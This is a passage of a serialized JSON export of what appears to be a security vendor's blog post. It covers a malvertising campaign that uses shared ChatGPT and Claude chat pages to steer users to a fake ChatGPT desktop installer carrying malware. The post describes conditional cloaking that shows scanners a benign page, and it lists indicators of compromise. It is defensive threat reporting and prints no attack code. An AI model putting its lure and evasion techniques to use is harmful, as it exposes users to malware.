page",{"data":37555,"content":37556,"nodeType":866},{},[37557],{"data":37558,"marks":37559,"value":37560,"nodeType":865},{},[],"Clicking the download button redirects the user to openew[.]app, which presents a convincing clone of ChatGPT's official desktop application download page — complete with OpenAI branding, macOS and Windows download buttons, a Chrome extension link, and a mobile download section.",{"data":37562,"content":37566,"nodeType":912},{"target":37563},{"sys":37564},{"id":37565,"type":909,"linkType":910},"4MdFc4OB37ZihTGx506QJ6",[],{"data":37568,"content":37572,"nodeType":912},{"target":37569},{"sys":37570},{"id":37571,"type":909,"linkType":910},"LaPUy0zpIeY8s4PF2wkat",[],{"data":37574,"content":37575,"nodeType":866},{},[37576],{"data":37577,"marks":37578,"value":37579,"nodeType":865},{},[],"The site also displays differently depending on who visits it. When Push researchers examined the URL via URLScan, the scanner was redirected to a different page entirely — a generic AR/VR company website with no obvious connection to ChatGPT. ",{"data":37581,"content":37582,"nodeType":866},{},[37583],{"data":37584,"marks":37585,"value":37586,"nodeType":865},{},[],"Real users in a browser see the fake download page; automated scanners and bots see something benign. This kind of conditional rendering is a well-established evasion technique in the malvertising ecosystem, and it makes the malicious infrastructure harder for security teams and threat intelligence services to identify and analyze.",{"data":37588,"content":37589,"nodeType":866},{},[37590,37594,37602],{"data":37591,"marks":37592,"value":37593,"nodeType":865},{},[],"The downloaded executable poses as \"ChatGPT for Desktop\" and is ",{"data":37595,"content":37597,"nodeType":889},{"uri":37596},"https://www.virustotal.com/gui/file/de8c50e8ccd240ef9d10ec26c26eeb37a4d1cad7c1e0edf3bb6e5689ec2dde78",[37598],{"data":37599,"marks":37600,"value":37601,"nodeType":865},{},[],"flagged on VirusTotal",{"data":37603,"marks":37604,"value":1615,"nodeType":865},{},[],{"data":37606,"content":37610,"nodeType":912},{"target":37607},{"sys":37608},{"id":37609,"type":909,"linkType":910},"3FSbwoFJYQrcyo9uMsQIWI",[],{"data":37612,"content":37613,"nodeType":972},{},[],{"data":37615,"content":37616,"nodeType":981},{},[37617],{"data":37618,"marks":37619,"value":37621,"nodeType":865},{},[37620],{"type":926},"The Claude variant: same campaign, different platform",{"data":37623,"content":37624,"nodeType":866},{},[37625,37629,37636],{"data":37626,"marks":37627,"value":37628,"nodeType":865},{},[],"Alongside the ChatGPT rendered-page variant, Push has also detected the previously reported style of attack using shared Claude.ai conversations. These follow the pattern documented by ",{"data":37630,"content":37631,"nodeType":889},{"uri":37430},[37632],{"data":37633,"marks":37634,"value":37635,"nodeType":865},{},[],"BleepingComputer",{"data":37637,"marks":37638,"value":37639,"nodeType":865},{},[],": a shared chat disguised as a \"Claude Code on Mac\" installation guide, attributed to \"Apple Support,\" containing a curl command that downloads and executes malware.",{"data":37641,"content":37645,"nodeType":912},{"target":37642},{"sys":37643},{"id":37644,"type":909,"linkType":910},"5sWayuTsVdiLSLoS4sv2Vc",[],{"data":37647,"content":37648,"nodeType":866},{},[37649],{"data":37650,"marks":37651,"value":37652,"nodeType":865},{},[],"The fact that both the ChatGPT and Claude variants are appearing in Push customer environments suggests a campaign — or at least a shared playbook — that is actively experimenting with different platforms and different social engineering approaches to find what converts best.",{"data":37654,"content":37655,"nodeType":972},{},[],{"data":37657,"content":37658,"nodeType":981},{},[37659],{"data":37660,"marks":37661,"value":37663,"nodeType":865},{},[37662],{"type":926},"Malvertising remains one of the top phishing delivery channels",{"data":37665,"content":37666,"nodeType":866},{},[37667],{"data":37668,"marks":37669,"value":37670,"nodeType":865},{},[],"Push has detected this variant across multiple customer environments, with users arriving at these shared chat URLs after searching for terms including \"chatgpt,\" \"chatgpt free,\" \"chat gpt,\" and common typos like \"chatgo,\" \"chatgot,\" and \"cvhatgpt.\" ",{"data":37672,"content":37673,"nodeType":866},{},[37674],{"data":37675,"marks":37676,"value":37677,"nodeType":865},{},[],"You can see an example of this below: it's incredibly convincing, and uses the real ChatGPT domain — so even users that are paying attention are liable to fall for it. ",{"data":37679,"content":37682,"nodeType":912},{"target":37680},{"sys":37681},{"id":908,"type":909,"linkType":910},[],{"data":37684,"content":37688,"nodeType":912},{"target":37685},{"sys":37686},{"id":37687,"type":909,"linkType":910},"4HpFJRAZH2lbygaEk2xOnN",[],{"data":37690,"content":37691,"nodeType":866},{},[37692,37696,37704,37708,37715,37718,37727],{"data":37693,"marks":37694,"value":37695,"nodeType":865},{},[],"This fits a pattern Push has tracked extensively. ",{"data":37697,"content":37699,"nodeType":889},{"uri":37698},"https://pushsecurity.com/blog/verizon-dbir-2026-review/",[37700],{"data":37701,"marks":37702,"value":37703,"nodeType":865},{},[],"Search-based delivery is now the dominant channel for malware distribution",{"data":37705,"marks":37706,"value":37707,"nodeType":865},{},[]," — our own data shows that ClickFix attacks are reached via search results rather than email in 4 of 5 cases, and Push's own research into ",{"data":37709,"content":37710,"nodeType":889},{"uri":1082},[37711],{"data":37712,"marks":37713,"value":37714,"nodeType":865},{},[],"malvertising campaigns impersonating brands like TradingView",{"data":37716,"marks":37717,"value":4988,"nodeType":865},{},[],{"data":37719,"content":37721,"nodeType":889},{"uri":37720},"https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs/",[37722],{"data":37723,"marks":37724,"value":37726,"nodeType":865},{},[37725],{"type":943},"Ahrefs",{"data":37728,"marks":37729,"value":37730,"nodeType":865},{},[]," has demonstrated how effectively search ads can funnel victims to malicious pages. ",{"data":37732,"content":37733,"nodeType":866},{},[37734],{"data":37735,"marks":37736,"value":37737,"nodeType":865},{},[],"The shared-chat technique adds a new dimension: the destination URL itself is genuine (chatgpt.com, claude.ai), which means even a cautious user who checks the URL before clicking will see nothing suspicious.",{"data":37739,"content":37740,"nodeType":972},{},[],{"data":37742,"content":37743,"nodeType":981},{},[37744],{"data":37745,"marks":37746,"value":37748,"nodeType":865},{},[37747],{"type":926},"Legitimate platform abuse is everywhere",{"data":37750,"content":37751,"nodeType":866},{},[37752],{"data":37753,"marks":37754,"value":37755,"nodeType":865},{},[],"This is one example of a much broader pattern that has become one of the defining characteristics of the 2026 threat landscape: attackers systematically abusing legitimate platforms as attack infrastructure. The scale and variety of this abuse in recent months alone is striking, and it spans every stage of the phishing chain.",{"data":37757,"content":37758,"nodeType":1317},{},[37759],{"data":37760,"marks":37761,"value":37762,"nodeType":865},{},[],"Legit platform abuse for delivery",{"data":37764,"content":37765,"nodeType":866},{},[37766,37770,37778,37782,37790,37794,37802],{"data":37767,"marks":37768,"value":37769,"nodeType":865},{},[],"On the delivery side, attackers have been ",{"data":37771,"content":37773,"nodeType":889},{"uri":37772},"https://www.bleepingcomputer.com/news/security/amazon-ses-increasingly-abused-in-phishing-to-evade-detection/",[37774],{"data":37775,"marks":37776,"value":37777,"nodeType":865},{},[],"weaponizing stolen AWS credentials to send phishing through Amazon SES",{"data":37779,"marks":37780,"value":37781,"nodeType":865},{},[]," that passes SPF, DKIM, and DMARC validation because SES is a legitimate Amazon service. A Vietnamese operation dubbed ",{"data":37783,"content":37785,"nodeType":889},{"uri":37784},"https://thehackernews.com/2026/05/30000-facebook-accounts-hacked-via.html",[37786],{"data":37787,"marks":37788,"value":37789,"nodeType":865},{},[],"AccountDumpling used Google AppSheet's built-in email capability",{"data":37791,"marks":37792,"value":37793,"nodeType":865},{},[]," as a phishing relay to harvest 30,000 Facebook credentials. ",{"data":37795,"content":37797,"nodeType":889},{"uri":37796},"https://techcrunch.com/2026/05/21/scammers-are-abusing-an-internal-microsoft-account-to-send-spam/",[37798],{"data":37799,"marks":37800,"value":37801,"nodeType":865},{},[],"Scammers exploited Microsoft's own internal notification pipeline",{"data":37803,"marks":37804,"value":37805,"nodeType":865},{},[]," — sending phishing from the same msonlineservicesteam@microsoftonline.com address that delivers legitimate 2FA codes — with Spamhaus confirming months of ongoing abuse.",{"data":37807,"content":37808,"nodeType":1317},{},[37809],{"data":37810,"marks":37811,"value":37812,"nodeType":865},{},[],"Legit platform abuse for hosting",{"data":37814,"content":37815,"nodeType":866},{},[37816,37820,37828,37832,37840],{"data":37817,"marks":37818,"value":37819,"nodeType":865},{},[],"For hosting, the platforms being abused read like a who's who of modern web infrastructure. ",{"data":37821,"content":37823,"nodeType":889},{"uri":37822},"https://www.securityweek.com/over-500-organizations-hit-in-years-long-phishing-campaign/",[37824],{"data":37825,"marks":37826,"value":37827,"nodeType":865},{},[],"Operation HookedWing ran for four years",{"data":37829,"marks":37830,"value":37831,"nodeType":865},{},[]," on GitHub Pages and Vercel, compromising 500+ organizations across more than 100 GitHub Pages domains before anyone documented it publicly. Cofense has separately ",{"data":37833,"content":37835,"nodeType":889},{"uri":37834},"https://cofense.com/blog/steal-smarter-not-harder-malicious-use-of-vercel-for-credential-phishing/",[37836],{"data":37837,"marks":37838,"value":37839,"nodeType":865},{},[],"documented the growing abuse of Vercel",{"data":37841,"marks":37842,"value":37843,"nodeType":865},{},[]," for credential phishing hosting. Pixm's Q1 2026 phishing report tracked over 100 unique Azure Blob Storage subdomain variants hosting phishing content that carried Microsoft's own domain reputation, alongside abuse of Cloudflare CDN, Cloudflare Workers, Cloudflare R2, Backblaze B2, and Supabase. ",{"data":37845,"content":37846,"nodeType":1317},{},[37847],{"data":37848,"marks":37849,"value":37850,"nodeType":865},{},[],"Abuse of compromised websites that are otherwise legit",{"data":37852,"content":37853,"nodeType":866},{},[37854,37858,37866,37870,37878,37882,37890],{"data":37855,"marks":37856,"value":37857,"nodeType":865},{},[],"Compromised legitimate sites are also being repurposed at scale. A mass exploitation of a ",{"data":37859,"content":37861,"nodeType":889},{"uri":37860},"https://www.bleepingcomputer.com/news/security/ghost-cms-sql-injection-flaw-exploited-in-large-scale-clickfix-campaign/",[37862],{"data":37863,"marks":37864,"value":37865,"nodeType":865},{},[],"Ghost CMS vulnerability planted ClickFix pages across 700+ websites",{"data":37867,"marks":37868,"value":37869,"nodeType":865},{},[]," including Harvard, Oxford, and DuckDuckGo subdomains. Microsoft recently documented a campaign where ",{"data":37871,"content":37873,"nodeType":889},{"uri":37872},"https://www.microsoft.com/en-us/security/blog/2026/05/26/poisoned-search-results-gpu-mining-cryptojacking-campaign-abusing-screenconnect-microsoft-net-utilities/",[37874],{"data":37875,"marks":37876,"value":37877,"nodeType":865},{},[],"SEO poisoning was combined with AI chatbot recommendation manipulation",{"data":37879,"marks":37880,"value":37881,"nodeType":865},{},[]," to deliver GPU mining malware — extending the poisoning from traditional search results into AI-generated software recommendations. And ",{"data":37883,"content":37885,"nodeType":889},{"uri":37884},"https://www.helpnetsecurity.com/2026/05/27/deno-rat-malware-fake-chatgpt-claude-installers/",[37886],{"data":37887,"marks":37888,"value":37889,"nodeType":865},{},[],"fake ChatGPT and Claude installers on GitHub and SourceForge",{"data":37891,"marks":37892,"value":37893,"nodeType":865},{},[]," have been delivering the DinDoor backdoor and a Deno-based RAT via repositories that mimic legitimate developer tool distributions.",{"data":37895,"content":37896,"nodeType":866},{},[37897],{"data":37898,"marks":37899,"value":37900,"nodeType":865},{},[],"The structural problem is that every one of these platforms is genuinely legitimate, and the security controls that evaluate them — domain reputation, email authentication, URL categorization — confirm them as trusted because they are trusted. This attack extends this pattern into new territory by weaponizing the content-sharing features of AI chatbot platforms specifically, but the underlying principles are the same. ",{"data":37902,"content":37903,"nodeType":972},{},[],{"data":37905,"content":37906,"nodeType":981},{},[37907],{"data":37908,"marks":37909,"value":37911,"nodeType":865},{},[37910],{"type":926},"Impact analysis",{"data":37913,"content":37914,"nodeType":866},{},[37915,37919,37926],{"data":37916,"marks":37917,"value":37918,"nodeType":865},{},[],"Shared-chat malware delivery exploits a structural property of AI platforms that traditional security controls aren't designed to handle. Domain reputation, URL categorization, and safe browsing databases all treat chatgpt.com and claude.ai as trusted — because they are. Using these trusted pages to link off to further convincing-looking pages hosting malware allows the attacker to run campaigns that blend in, as well as rotate the phishing delivery pages later in the chain should they ever be flagged, allowing the campaign to continue without interruption (a well known ",{"data":37920,"content":37921,"nodeType":889},{"uri":8862},[37922],{"data":37923,"marks":37924,"value":37925,"nodeType":865},{},[],"detection evasion technique",{"data":37927,"marks":37928,"value":37929,"nodeType":865},{},[],"). ",{"data":37931,"content":37932,"nodeType":866},{},[37933],{"data":37934,"marks":37935,"value":37936,"nodeType":865},{},[],"What makes the rendered-page variant particularly concerning is that it eliminates the most obvious red flag in the earlier attacks. The Claude.ai conversation variants required the victim to recognize that a shared chat instructing them to paste terminal commands might be suspicious — a tall order for many users, but at least the attack surface was visible. The rendered-page variant shows nothing that looks like an attack. It presents what appears to be a routine service disruption with a reasonable call to action: download the desktop app to continue using ChatGPT. ",{"data":37938,"content":37939,"nodeType":1317},{},[37940],{"data":37941,"marks":37942,"value":37944,"nodeType":865},{},[37943],{"type":926},"How Push detected the attack",{"data":37946,"content":37947,"nodeType":866},{},[37948,37952,37956],{"data":37949,"marks":37950,"value":37951,"nodeType":865},{},[],"We've aligned our detection logic for this technique under the name ",{"data":37953,"marks":37954,"value":5869,"nodeType":865},{},[37955],{"type":926},{"data":37957,"marks":37958,"value":37959,"nodeType":865},{},[]," — a technique-level detection that covers shared content abuse across LLM platforms, not tied to any single campaign or set of IOCs. ",{"data":37961,"content":37962,"nodeType":866},{},[37963],{"data":37964,"marks":37965,"value":37966,"nodeType":865},{},[],"Because Push sees the full context of how a user arrived at a page and what that page does once it renders, we can identify LLMShare attacks regardless of which AI platform is being abused or what social engineering wrapper the attacker has chosen. ",{"data":37968,"content":37969,"nodeType":866},{},[37970,37974,37980],{"data":37971,"marks":37972,"value":37973,"nodeType":865},{},[],"When we identified the initial instances of this campaign, we used our ",{"data":37975,"content":37976,"nodeType":889},{"uri":5233},[37977],{"data":37978,"marks":37979,"value":5238,"nodeType":865},{},[],{"data":37981,"marks":37982,"value":37983,"nodeType":865},{},[]," to hunt for additional examples across our customer telemetry, develop the LLMShare detection, and rapidly deploy it to customers. Push blocks users from interacting with the page before any malicious activity can occur. ",{"data":37985,"content":37986,"nodeType":866},{},[37987],{"data":37988,"marks":37989,"value":37990,"nodeType":865},{},[],"Push customers do not need to take any further action.",{"data":37992,"content":37993,"nodeType":972},{},[],{"data":37995,"content":37996,"nodeType":866},{},[37997],{"data":37998,"marks":37999,"value":1356,"nodeType":865},{},[],{"data":38001,"content":38002,"nodeType":866},{},[38003],{"data":38004,"marks":38005,"value":1363,"nodeType":865},{},[],{"data":38007,"content":38008,"nodeType":866},{},[38009,38012,38019],{"data":38010,"marks":38011,"value":21,"nodeType":865},{},[],{"data":38013,"content":38014,"nodeType":889},{"uri":16069},[38015],{"data":38016,"marks":38017,"value":1378,"nodeType":865},{},[38018],{"type":943},{"data":38020,"marks":38021,"value":21,"nodeType":865},{},[],{"data":38023,"content":38024,"nodeType":972},{},[],{"data":38026,"content":38027,"nodeType":981},{},[38028],{"data":38029,"marks":38030,"value":38032,"nodeType":865},{},[38031],{"type":926},"Indicators of compromise",{"data":38034,"content":38035,"nodeType":866},{},[38036,38040,38048],{"data":38037,"marks":38038,"value":38039,"nodeType":865},{},[],"As we always say, short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to ",{"data":38041,"content":38043,"nodeType":889},{"uri":38042},"https://phishing-techniques.pushsecurity.com/techniques/domain-rotation-redirection/",[38044],{"data":38045,"marks":38046,"value":38047,"nodeType":865},{},[],"quickly spin up and rotate the sites used",{"data":38049,"marks":38050,"value":38051,"nodeType":865},{},[]," in the attack chain. IoC-based detections for campaigns like this are of limited value.",{"data":38053,"content":38054,"nodeType":866},{},[38055],{"data":38056,"marks":38057,"value":38058,"nodeType":865},{},[],"At the time of writing, the indicators observed were:",{"data":38060,"content":38061,"nodeType":2927},{},[38062,38088,38111,38133,38156],{"data":38063,"content":38064,"nodeType":2400},{},[38065,38077],{"data":38066,"content":38067,"nodeType":38076},{},[38068],{"data":38069,"content":38070,"nodeType":866},{},[38071],{"data":38072,"marks":38073,"value":38075,"nodeType":865},{},[38074],{"type":926},"Indicator","table-header-cell",{"data":38078,"content":38079,"nodeType":38076},{},[38080],{"data":38081,"content":38082,"nodeType":866},{},[38083],{"data":38084,"marks":38085,"value":38087,"nodeType":865},{},[38086],{"type":926},"Type",{"data":38089,"content":38090,"nodeType":2400},{},[38091,38101],{"data":38092,"content":38093,"nodeType":2366},{},[38094],{"data":38095,"content":38096,"nodeType":866},{},[38097],{"data":38098,"marks":38099,"value":38100,"nodeType":865},{},[],"hxxps://claude[.]ai/share/8e6401b5-4849-46c4-a3cb-29e1c3c49131",{"data":38102,"content":38103,"nodeType":2366},{},[38104],{"data":38105,"content":38106,"nodeType":866},{},[38107],{"data":38108,"marks":38109,"value":38110,"nodeType":865},{},[],"URL",{"data":38112,"content":38113,"nodeType":2400},{},[38114,38124],{"data":38115,"content":38116,"nodeType":2366},{},[38117],{"data":38118,"content":38119,"nodeType":866},{},[38120],{"data":38121,"marks":38122,"value":38123,"nodeType":865},{},[],"hxxps://chatgpt[.]com/s/cb_6a0f1e6bbec88191aa7fede27163f08d",{"data":38125,"content":38126,"nodeType":2366},{},[38127],{"data":38128,"content":38129,"nodeType":866},{},[38130],{"data":38131,"marks":38132,"value":38110,"nodeType":865},{},[],{"data":38134,"content":38135,"nodeType":2400},{},[38136,38146],{"data":38137,"content":38138,"nodeType":2366},{},[38139],{"data":38140,"content":38141,"nodeType":866},{},[38142],{"data":38143,"marks":38144,"value":38145,"nodeType":865},{},[],"openew[.]app",{"data":38147,"content":38148,"nodeType":2366},{},[38149],{"data":38150,"content":38151,"nodeType":866},{},[38152],{"data":38153,"marks":38154,"value":38155,"nodeType":865},{},[],"Domain",{"data":38157,"content":38158,"nodeType":2400},{},[38159,38169],{"data":38160,"content":38161,"nodeType":2366},{},[38162],{"data":38163,"content":38164,"nodeType":866},{},[38165],{"data":38166,"marks":38167,"value":38168,"nodeType":865},{},[],"de8c50e8ccd240ef9d10ec26c26eeb37a4d1cad7c1e0edf3bb6e5689ec2dde78",{"data":38170,"content":38171,"nodeType":2366},{},[38172],{"data":38173,"content":38174,"nodeType":866},{},[38175],{"data":38176,"marks":38177,"value":38178,"nodeType":865},{},[],"SHA256",{"data":38180,"content":38181,"nodeType":866},{},[38182],{"data":38183,"marks":38184,"value":21,"nodeType":865},{},[],"LLMShare: how attackers are turning AI chatbot pages into malware delivery platforms","How attackers are using shared content features on AI chatbot platforms to deliver malware via pages hosted on legitimate domains, sent via malvertising.","2026-05-29T00:00:00.000Z","llmshare-malvertising-campaign",{"items":38190},[38191,38193],{"sys":38192,"name":7796},{"id":7795},{"sys":38194,"name":342},{"id":4642},{"items":38196},[38197],{"fullName":38198,"firstName":38199,"jobTitle":38200,"profilePicture":38201},"Keanu Maharaj","Keanu","Senior Security Researcher",{"url":38202},"https://images.ctfassets.net/y1cdw1ablpvd/VCGOm62jiocjwngWTh32U/e9a30637b1c76bf988d2fec90f5b6c36/1689361049351_1.png",{"__typename":1429,"sys":38204,"content":38205,"title":7785,"synopsis":7786,"hashTags":59,"publishedDate":7787,"slug":7788,"tagsCollection":38843,"authorsCollection":38849},{"id":7031},{"json":38206},{"data":38207,"content":38208,"nodeType":1382},{},[38209,38224,38229,38235,38241,38244,38251,38266,38281,38287,38292,38298,38303,38309,38316,38322,38337,38362,38367,38372,38379,38385,38400,38424,38449,38455,38460,38467,38473,38483,38489,38521,38526,38559,38590,38595,38598,38605,38611,38616,38622,38628,38633,38639,38645,38667,38670,38677,38683,38690,38696,38702,38718,38724,38729,38735,38742,38748,38763,38769,38784,38787,38794,38800,38806,38812,38815,38821,38827],{"data":38210,"content":38211,"nodeType":866},{},[38212,38215,38221],{"data":38213,"marks":38214,"value":7042,"nodeType":865},{},[],{"data":38216,"content":38217,"nodeType":889},{"uri":4788},[38218],{"data":38219,"marks":38220,"value":7049,"nodeType":865},{},[],{"data":38222,"marks":38223,"value":7053,"nodeType":865},{},[],{"data":38225,"content":38228,"nodeType":912},{"target":38226},{"sys":38227},{"id":7058,"type":909,"linkType":910},[],{"data":38230,"content":38231,"nodeType":866},{},[38232],{"data":38233,"marks":38234,"value":7066,"nodeType":865},{},[],{"data":38236,"content":38237,"nodeType":866},{},[38238],{"data":38239,"marks":38240,"value":7073,"nodeType":865},{},[],{"data":38242,"content":38243,"nodeType":972},{},[],{"data":38245,"content":38246,"nodeType":981},{},[38247],{"data":38248,"marks":38249,"value":7084,"nodeType":865},{},[38250],{"type":926},{"data":38252,"content":38253,"nodeType":866},{},[38254,38257,38263],{"data":38255,"marks":38256,"value":7091,"nodeType":865},{},[],{"data":38258,"content":38259,"nodeType":889},{"uri":7094},[38260],{"data":38261,"marks":38262,"value":5046,"nodeType":865},{},[],{"data":38264,"marks":38265,"value":7102,"nodeType":865},{},[],{"data":38267,"content":38268,"nodeType":866},{},[38269,38272,38278],{"data":38270,"marks":38271,"value":7109,"nodeType":865},{},[],{"data":38273,"content":38274,"nodeType":889},{"uri":7112},[38275],{"data":38276,"marks":38277,"value":7117,"nodeType":865},{},[],{"data":38279,"marks":38280,"value":7121,"nodeType":865},{},[],{"data":38282,"content":38283,"nodeType":866},{},[38284],{"data":38285,"marks":38286,"value":7128,"nodeType":865},{},[],{"data":38288,"content":38291,"nodeType":912},{"target":38289},{"sys":38290},{"id":4802,"type":909,"linkType":910},[],{"data":38293,"content":38294,"nodeType":866},{},[38295],{"data":38296,"marks":38297,"value":7140,"nodeType":865},{},[],{"data":38299,"content":38302,"nodeType":912},{"target":38300},{"sys":38301},{"id":7145,"type":909,"linkType":910},[],{"data":38304,"content":38305,"nodeType":866},{},[38306],{"data":38307,"marks":38308,"value":7153,"nodeType":865},{},[],{"data":38310,"content":38311,"nodeType":1317},{},[38312],{"data":38313,"marks":38314,"value":7161,"nodeType":865},{},[38315],{"type":926},{"data":38317,"content":38318,"nodeType":866},{},[38319],{"data":38320,"marks":38321,"value":7168,"nodeType":865},{},[],{"data":38323,"content":38324,"nodeType":866},{},[38325,38328,38334],{"data":38326,"marks":38327,"value":7175,"nodeType":865},{},[],{"data":38329,"content":38330,"nodeType":889},{"uri":5233},[38331],{"data":38332,"marks":38333,"value":7182,"nodeType":865},{},[],{"data":38335,"marks":38336,"value":7186,"nodeType":865},{},[],{"data":38338,"content":38339,"nodeType":866},{},[38340,38343,38350,38353,38359],{"data":38341,"marks":38342,"value":7193,"nodeType":865},{},[],{"data":38344,"content":38345,"nodeType":889},{"uri":883},[38346],{"data":38347,"marks":38348,"value":7201,"nodeType":865},{},[38349],{"type":943},{"data":38351,"marks":38352,"value":7205,"nodeType":865},{},[],{"data":38354,"content":38355,"nodeType":889},{"uri":5817},[38356],{"data":38357,"marks":38358,"value":5823,"nodeType":865},{},[],{"data":38360,"marks":38361,"value":7215,"nodeType":865},{},[],{"data":38363,"content":38366,"nodeType":912},{"target":38364},{"sys":38365},{"id":7220,"type":909,"linkType":910},[],{"data":38368,"content":38371,"nodeType":912},{"target":38369},{"sys":38370},{"id":7226,"type":909,"linkType":910},[],{"data":38373,"content":38374,"nodeType":1317},{},[38375],{"data":38376,"marks":38377,"value":7235,"nodeType":865},{},[38378],{"type":926},{"data":38380,"content":38381,"nodeType":866},{},[38382],{"data":38383,"marks":38384,"value":7242,"nodeType":865},{},[],{"data":38386,"content":38387,"nodeType":866},{},[38388,38391,38397],{"data":38389,"marks":38390,"value":7249,"nodeType":865},{},[],{"data":38392,"content":38393,"nodeType":889},{"uri":1419},[38394],{"data":38395,"marks":38396,"value":7256,"nodeType":865},{},[],{"data":38398,"marks":38399,"value":7260,"nodeType":865},{},[],{"data":38401,"content":38402,"nodeType":866},{},[38403,38406,38412,38415,38421],{"data":38404,"marks":38405,"value":7267,"nodeType":865},{},[],{"data":38407,"content":38408,"nodeType":889},{"uri":7270},[38409],{"data":38410,"marks":38411,"value":7275,"nodeType":865},{},[],{"data":38413,"marks":38414,"value":7279,"nodeType":865},{},[],{"data":38416,"content":38417,"nodeType":889},{"uri":1951},[38418],{"data":38419,"marks":38420,"value":7286,"nodeType":865},{},[],{"data":38422,"marks":38423,"value":7290,"nodeType":865},{},[],{"data":38425,"content":38426,"nodeType":866},{},[38427,38430,38436,38439,38446],{"data":38428,"marks":38429,"value":7297,"nodeType":865},{},[],{"data":38431,"content":38432,"nodeType":889},{"uri":7300},[38433],{"data":38434,"marks":38435,"value":7305,"nodeType":865},{},[],{"data":38437,"marks":38438,"value":7309,"nodeType":865},{},[],{"data":38440,"content":38441,"nodeType":889},{"uri":7312},[38442],{"data":38443,"marks":38444,"value":7318,"nodeType":865},{},[38445],{"type":943},{"data":38447,"marks":38448,"value":7322,"nodeType":865},{},[],{"data":38450,"content":38451,"nodeType":866},{},[38452],{"data":38453,"marks":38454,"value":7329,"nodeType":865},{},[],{"data":38456,"content":38459,"nodeType":912},{"target":38457},{"sys":38458},{"id":7334,"type":909,"linkType":910},[],{"data":38461,"content":38462,"nodeType":1317},{},[38463],{"data":38464,"marks":38465,"value":7343,"nodeType":865},{},[38466],{"type":926},{"data":38468,"content":38469,"nodeType":866},{},[38470],{"data":38471,"marks":38472,"value":7350,"nodeType":865},{},[],{"data":38474,"content":38475,"nodeType":866},{},[38476,38480],{"data":38477,"marks":38478,"value":360,"nodeType":865},{},[38479],{"type":926},{"data":38481,"marks":38482,"value":7361,"nodeType":865},{},[],{"data":38484,"content":38485,"nodeType":866},{},[38486],{"data":38487,"marks":38488,"value":7368,"nodeType":865},{},[],{"data":38490,"content":38491,"nodeType":866},{},[38492,38495,38501,38504,38508,38511,38518],{"data":38493,"marks":38494,"value":7375,"nodeType":865},{},[],{"data":38496,"content":38497,"nodeType":889},{"uri":7378},[38498],{"data":38499,"marks":38500,"value":7383,"nodeType":865},{},[],{"data":38502,"marks":38503,"value":7387,"nodeType":865},{},[],{"data":38505,"marks":38506,"value":7392,"nodeType":865},{},[38507],{"type":926},{"data":38509,"marks":38510,"value":7396,"nodeType":865},{},[],{"data":38512,"content":38513,"nodeType":889},{"uri":3820},[38514],{"data":38515,"marks":38516,"value":7404,"nodeType":865},{},[38517],{"type":943},{"data":38519,"marks":38520,"value":6719,"nodeType":865},{},[],{"data":38522,"content":38525,"nodeType":912},{"target":38523},{"sys":38524},{"id":7412,"type":909,"linkType":910},[],{"data":38527,"content":38528,"nodeType":866},{},[38529,38532,38536,38539,38546,38549,38556],{"data":38530,"marks":38531,"value":7420,"nodeType":865},{},[],{"data":38533,"marks":38534,"value":315,"nodeType":865},{},[38535],{"type":926},{"data":38537,"marks":38538,"value":7428,"nodeType":865},{},[],{"data":38540,"content":38541,"nodeType":889},{"uri":7431},[38542],{"data":38543,"marks":38544,"value":7437,"nodeType":865},{},[38545],{"type":943},{"data":38547,"marks":38548,"value":7441,"nodeType":865},{},[],{"data":38550,"content":38551,"nodeType":889},{"uri":6864},[38552],{"data":38553,"marks":38554,"value":7449,"nodeType":865},{},[38555],{"type":943},{"data":38557,"marks":38558,"value":7453,"nodeType":865},{},[],{"data":38560,"content":38561,"nodeType":866},{},[38562,38565,38569,38572,38578,38581,38587],{"data":38563,"marks":38564,"value":7460,"nodeType":865},{},[],{"data":38566,"marks":38567,"value":7465,"nodeType":865},{},[38568],{"type":926},{"data":38570,"marks":38571,"value":7469,"nodeType":865},{},[],{"data":38573,"content":38574,"nodeType":889},{"uri":7472},[38575],{"data":38576,"marks":38577,"value":7477,"nodeType":865},{},[],{"data":38579,"marks":38580,"value":7481,"nodeType":865},{},[],{"data":38582,"content":38583,"nodeType":889},{"uri":5739},[38584],{"data":38585,"marks":38586,"value":7488,"nodeType":865},{},[],{"data":38588,"marks":38589,"value":7492,"nodeType":865},{},[],{"data":38591,"content":38594,"nodeType":912},{"target":38592},{"sys":38593},{"id":7497,"type":909,"linkType":910},[],{"data":38596,"content":38597,"nodeType":972},{},[],{"data":38599,"content":38600,"nodeType":981},{},[38601],{"data":38602,"marks":38603,"value":7509,"nodeType":865},{},[38604],{"type":926},{"data":38606,"content":38607,"nodeType":866},{},[38608],{"data":38609,"marks":38610,"value":7516,"nodeType":865},{},[],{"data":38612,"content":38615,"nodeType":912},{"target":38613},{"sys":38614},{"id":7521,"type":909,"linkType":910},[],{"data":38617,"content":38618,"nodeType":866},{},[38619],{"data":38620,"marks":38621,"value":7529,"nodeType":865},{},[],{"data":38623,"content":38624,"nodeType":866},{},[38625],{"data":38626,"marks":38627,"value":7536,"nodeType":865},{},[],{"data":38629,"content":38632,"nodeType":912},{"target":38630},{"sys":38631},{"id":7541,"type":909,"linkType":910},[],{"data":38634,"content":38635,"nodeType":866},{},[38636],{"data":38637,"marks":38638,"value":7549,"nodeType":865},{},[],{"data":38640,"content":38641,"nodeType":866},{},[38642],{"data":38643,"marks":38644,"value":7556,"nodeType":865},{},[],{"data":38646,"content":38647,"nodeType":7584},{},[38648],{"data":38649,"content":38650,"nodeType":866},{},[38651,38654,38660,38663],{"data":38652,"marks":38653,"value":7566,"nodeType":865},{},[],{"data":38655,"content":38656,"nodeType":889},{"uri":7569},[38657],{"data":38658,"marks":38659,"value":7574,"nodeType":865},{},[],{"data":38661,"marks":38662,"value":7578,"nodeType":865},{},[],{"data":38664,"marks":38665,"value":7583,"nodeType":865},{},[38666],{"type":898},{"data":38668,"content":38669,"nodeType":972},{},[],{"data":38671,"content":38672,"nodeType":981},{},[38673],{"data":38674,"marks":38675,"value":7595,"nodeType":865},{},[38676],{"type":926},{"data":38678,"content":38679,"nodeType":866},{},[38680],{"data":38681,"marks":38682,"value":7602,"nodeType":865},{},[],{"data":38684,"content":38685,"nodeType":1317},{},[38686],{"data":38687,"marks":38688,"value":7610,"nodeType":865},{},[38689],{"type":926},{"data":38691,"content":38692,"nodeType":866},{},[38693],{"data":38694,"marks":38695,"value":7617,"nodeType":865},{},[],{"data":38697,"content":38698,"nodeType":866},{},[38699],{"data":38700,"marks":38701,"value":7624,"nodeType":865},{},[],{"data":38703,"